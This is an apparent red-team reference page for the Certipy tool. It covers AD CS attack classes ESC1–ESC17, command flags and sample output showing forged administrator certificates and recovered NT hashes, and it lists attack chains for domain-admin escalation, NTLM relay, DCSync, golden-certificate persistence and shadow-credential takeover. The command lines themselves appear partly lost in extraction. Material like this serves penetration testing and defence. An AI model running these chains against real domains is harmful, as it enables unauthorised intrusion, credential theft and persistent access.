Certipy ADCS Exploitation Reference
Certipy is a Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations. It identifies vulnerable certificate templates (ESC1 through ESC17), requests and forges certificates, authenticates via PKINIT or Schannel, relays NTLM to enrollment endpoints, manipulates shadow credentials, and extracts CA private keys for golden certificate attacks. Runs from a Linux attacker host.
Install
Install via pipx. The PyPI package is certipy-ad (not certipy, which is an unrelated package).
Authentication Methods
All Certipy subcommands accept the same credential options. Username format is user@domain or domain/user.
Placeholders Used Here
$DOMAIN- FQDN, e.g.corp.local.$USER/$PASSWORD- current foothold account credentials.$NTHASH- NT hash of$USER.$TARGET_IP- DC IP address.$CA- CA name as shown bycertipy find, e.g.CORP-CA.$CA_HOST- CA server hostname, e.g.ca01.corp.local.$TARGET_USER- sAMAccountName or UPN of account to impersonate.$LHOST- attacker IP.
Enumeration (find)
certipy find enumerates all CAs, certificate templates, enrollment permissions, and web enrollment endpoints. It flags vulnerable templates as ESC1 through ESC17. Always run this first. Use -vulnerable to show only exploitable findings, -enabled to hide disabled templates.
Certificate Authorities
0
CA Name : CORP-CA
DNS Name : ca01.corp.local
Web Enrollment : Enabled (HTTP)
Certificate Subject : CN=CORP-CA, DC=corp, DC=local
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP
Certificate Templates
0
Template Name : VulnTemplate
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication
Explain command
| -vulnerable | Only show templates with identified vulnerabilities. |
| -enabled | Only show enabled templates. |
| -stdout | Print results to console instead of file. |
| -text | Output as text file (default). |
| -json | Output as JSON. |
| -hide-admins | Hide templates only enrollable by admin groups. |
Certificate Authentication (auth)
certipy auth authenticates with a PFX certificate via PKINIT. Returns a TGT and the account's NT hash (via U2U). Use -ldap-shell for Schannel-based LDAP authentication instead when PKINIT fails.
[*] Using principal: administrator@corp.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
Explain command
| -pfx | PFX/P12 certificate file to authenticate with. |
| -dc-ip | Domain controller for Kerberos. |
| -ldap-shell | Authenticate via Schannel to LDAPS instead of PKINIT. |
| -no-hash | Skip NT hash recovery. |
ESC1: Enrollee Supplies Subject
Template allows low-privileged users to specify an arbitrary Subject Alternative Name (UPN or SID) in the certificate request, with Client Authentication EKU enabled. Request a certificate as any user, then authenticate with it.
Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, Client Authentication EKU, low-privileged enrollment rights, no manager approval, no authorized signatures required.
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 42 [*] Got certificate with UPN 'administrator@corp.local' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
Explain command
| -template | Vulnerable certificate template name. |
| -upn | UPN to embed in the SAN (target user). |
| -ca | CA name to request from. |
ESC2: Any Purpose EKU
Template with "Any Purpose" EKU (OID 2.5.29.37.0) or no EKU at all. The certificate acts as a Certificate Request Agent, allowing enrollment on behalf of other users (chain into ESC3 flow).
ESC3: Enrollment Agent
Template with Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users to request certificates on behalf of other users. Same exploitation flow as ESC2.
Explain command
| -on-behalf-of | Request the certificate as another user (DOMAIN\User format). |
| -pfx | Enrollment agent PFX to sign the request with. |
ESC4: Template ACL Abuse
Write permissions (GenericAll, WriteDACL, WriteOwner, WriteProperty) on a certificate template AD object allow modifying it to become ESC1-vulnerable. Save the original configuration, weaponize, exploit, then restore.
Explain command
| -save-configuration | Save current template configuration to JSON (backup). |
| -write-default-configuration | Apply ESC1-vulnerable configuration. |
| -write-configuration | Restore template from saved JSON. |
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing any requester to specify a SAN through request attributes, bypassing template restrictions. Exploitable when combined with ESC9 (template without security extension) or ESC16 (CA disables security extension globally).
ESC6 alone is no longer directly exploitable after Microsoft's May 2022 patch. It requires a template without the SID security extension (ESC9) or a CA that globally disables the extension (ESC16).
ESC7: CA Permission Abuse
Attacker with ManageCa or ManageCertificates rights on the CA can enable vulnerable templates, approve pending requests, and add themselves as officer. The classic flow: enable SubCA template, request a cert with a SAN, approve your own pending request, retrieve it.
Explain command
| -enable-template | Enable a certificate template on the CA. |
| -issue-request | Approve a pending certificate request by ID. |
| -add-officer | Add yourself as certificate manager (officer). |
| -retrieve | Retrieve an issued certificate by request ID. |
ESC8: NTLM Relay to Web Enrollment
AD CS Web Enrollment is accessible over HTTP (or HTTPS without channel binding). Relay NTLM authentication from a coerced machine account (PetitPotam, PrinterBug) to the enrollment endpoint to obtain a certificate as that machine. Works best against DC machine accounts for DCSync via PKINIT.
[*] Targets:
- http://ca01.corp.local
[*] Listening on 0.0.0.0:445
[*] SMBD: Received connection from 10.0.0.100
[*] Requesting certificate via HTTP for DC01$
[*] Got certificate with DNS 'dc01.corp.local'
[*] Saved certificate and private key to 'dc01.pfx'
Explain command
| -target | CA web enrollment URL (http:// or https://). |
| -template | Template to request (DomainController, Machine, etc.). |
| -forever | Keep relaying after first success. |
ESC9: No Security Extension on Template
Template is configured with CT_FLAG_NO_SECURITY_EXTENSION, meaning issued certificates do not contain the SID security extension (OID 1.3.6.1.4.1.311.25.2). The KDC falls back to SAN-based identity mapping, which combined with ESC6 (SAN specification allowed) enables impersonation.
ESC11: NTLM Relay to RPC Enrollment
CA does not enforce encryption for ICPR (RPC) certificate requests (IF_ENFORCEENCRYPTICERTREQUEST disabled). NTLM relay to the RPC endpoint instead of HTTP. Same coercion flow as ESC8 but targets RPC instead of web enrollment.
ESC13: Issuance Policy Linked to Group
Template with Client Authentication EKU has an issuance policy OID that is linked to an AD group via msDS-OIDToGroupLink. Enrolling in this template effectively grants membership in that group through the certificate's policy. If the linked group is privileged, this is a direct escalation.
ESC15: Schema Version 1 Enrollee Subject (CVE-2024-49019)
Schema Version 1 templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bypass Microsoft's post-patch enforcement of the SID security extension. The patch only applies to schema v2+ templates, so v1 templates remain exploitable like pre-patch ESC1.
Only exploitable if the environment is not patched for CVE-2024-49019. Certipy find flags these as ESC15.
ESC16: Security Extension Disabled on CA
CA globally disables the SID security extension (OID 1.3.6.1.4.1.311.25.2) in issued certificates. Combined with ESC6 (SAN specification allowed), the KDC uses SAN-based mapping, enabling impersonation. Same exploitation as ESC9 but the cause is CA-level instead of template-level.
ESC17: Server Authentication Enrollee Subject
Template allows enrollee-supplied subject with Server Authentication EKU. Does not enable direct PKINIT user impersonation, but the certificate can be abused for Schannel, LDAPS relay, or TLS interception.
ESC Techniques Not Detected by Certipy
Some ESC techniques require manual identification:
ESC5: weak ACLs on PKI AD objects (NTAuthCertificates, AIA, CDP containers). Check with BloodHound or
Get-Aclin PowerShell.ESC10: weak certificate mapping on DCs. Check registry keys
StrongCertificateBindingEnforcementandCertificateMappingMethodson DCs.ESC12: CA private key stored in extractable form. Use
certipy ca -backupwhen you have admin access to the CA server.ESC14: weak explicit certificate mappings in
altSecurityIdentitiesattributes. Inspect via LDAP.
Golden Certificate (forge)
With the CA private key (from ca -backup or extracted from the CA server), forge a certificate for any domain user. Golden certificates persist as long as the CA key is valid, which can be years. No interaction with the CA needed after extracting the key.
[*] Saved CA certificate and key to 'ca.pfx'
Explain command
| -ca-pfx | CA certificate and private key PFX (from ca -backup). |
| -upn | UPN to embed in the forged certificate. |
| -dns | DNS name for the SAN. |
| -sid | Object SID to embed. |
| -subject | Subject DN for the certificate. |
| -crl | CRL distribution point (use ldap:/// as minimum). |
The CA key backup creates a temporary service on the CA, exports via certutil, and retrieves over SMB. The forged certificate is valid without touching the CA again.
Shadow Credentials
certipy shadow manipulates the msDS-KeyCredentialLink attribute on a target account to add a key credential, then authenticates via PKINIT to recover the account's NT hash. auto mode does everything in one command: add credential, authenticate, get hash, clean up.
[*] Targeting user '$TARGET_USER' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '1a2b3c4d-... [*] Adding Key Credential with DeviceID '1a2b3c4d-...' to the target [*] Successfully added Key Credential [*] Authenticating as '$TARGET_USER' via PKINIT [*] Got hash for '$TARGET_USER': aad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 [*] Restoring the old Key Credential for '$TARGET_USER'
Explain command
| auto | Full chain: add credential, authenticate, recover hash, remove credential. |
| add | Add key credential, export PFX. |
| list | List all key credentials on target. |
| remove | Remove a specific key credential by device ID. |
| clear | Remove all key credentials. |
| -account | Target account sAMAccountName. |
Account Management
certipy account creates, reads, updates, and deletes machine accounts. Useful for creating a controlled computer account for RBCD abuse or when you need a machine account to request specific templates.
Explain command
| create | Create a new computer account. |
| read | Read account attributes. |
| update | Modify account properties (DNS, SPN, UPN). |
| delete | Delete the account. |
| -user | Account sAMAccountName. |
| -dns | DNS hostname to set. |
| -pass | Account password (auto-generated if omitted). |
Certificate Manipulation (cert)
certipy cert converts between certificate formats (PFX, PEM, DER), extracts keys, and imports certificates. Useful when you need to convert between formats for different tools.
Explain command
| -pfx | Input PFX file. |
| -key | Input private key (PEM/DER). |
| -cert | Input certificate (PEM/DER). |
| -export | Export to PFX format. |
| -nokey | Export certificate only (no private key). |
| -nocert | Export key only (no certificate). |
Certificate Request Options
Beyond the ESC-specific flags, certipy req supports alternate enrollment methods and advanced options.
Explain command
| -web | Use Web Enrollment (HTTP) instead of RPC. |
| -dcom | Use DCOM Enrollment instead of RPC. |
| -retrieve | Retrieve a previously issued certificate by request ID. |
| -renew | Create a renewal request using an existing PFX. |
| -key-size | RSA key size in bits (default 2048). |
| -sid | Object SID to embed in the SAN. |
Common Attack Chains
Quick domain admin (ESC1):
find -vulnerableto identify,req -template X -upn administrator@domainto get cert,auth -pfxto get TGT + hash, then psexec/pass-the-hash.NTLM relay to DC cert (ESC8):
relay -target http://CAlistener, coerce DC with PetitPotam,auth -pfx dc01.pfxto get DC machine hash, then DCSync with secretsdump.Template takeover (ESC4):
template -save-configurationbackup,template -write-default-configurationweaponize, exploit as ESC1,template -write-configurationrestore.CA admin abuse (ESC7):
ca -add-officer+ca -enable-template SubCA, request with SAN,ca -issue-requestapprove,req -retrievecollect.Golden certificate persistence:
ca -backupto extract CA key,forge -ca-pfx ca.pfx -upn admin@domainany time you need a cert, valid for years without touching the CA.Shadow credential takeover:
shadow auto -account targetfor one-shot key credential add + PKINIT + hash recovery + cleanup.
References
-
Certipy (GitHub)REPO: Certipy (GitHub), github.com/ly4k/Certipy (opens in new tab)
AD CS enumeration and exploitation tool. Covers ESC1-ESC17, certificate forgery, shadow credentials, relay.
-
Certified Pre-Owned (SpecterOps)TOOL: Certified Pre-Owned (SpecterOps), specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf (opens in new tab)
Original SpecterOps whitepaper defining ESC1-ESC8 and the AD CS attack surface.
-
Certipy 4.0 (ly4k)LINK: Certipy 4.0 (ly4k), research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88571f7 (opens in new tab)
Certipy 4.0 release covering ESC9, ESC10, and new authentication methods.
-
ADCS ESC13 (SpecterOps)TOOL: ADCS ESC13 (SpecterOps), posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53 (opens in new tab)
ESC13 issuance policy group link abuse research.
-
Certify (GhostPack)REPO: Certify (GhostPack), github.com/GhostPack/Certify (opens in new tab)
C# AD CS enumeration tool (Windows-side alternative to Certipy for enumeration).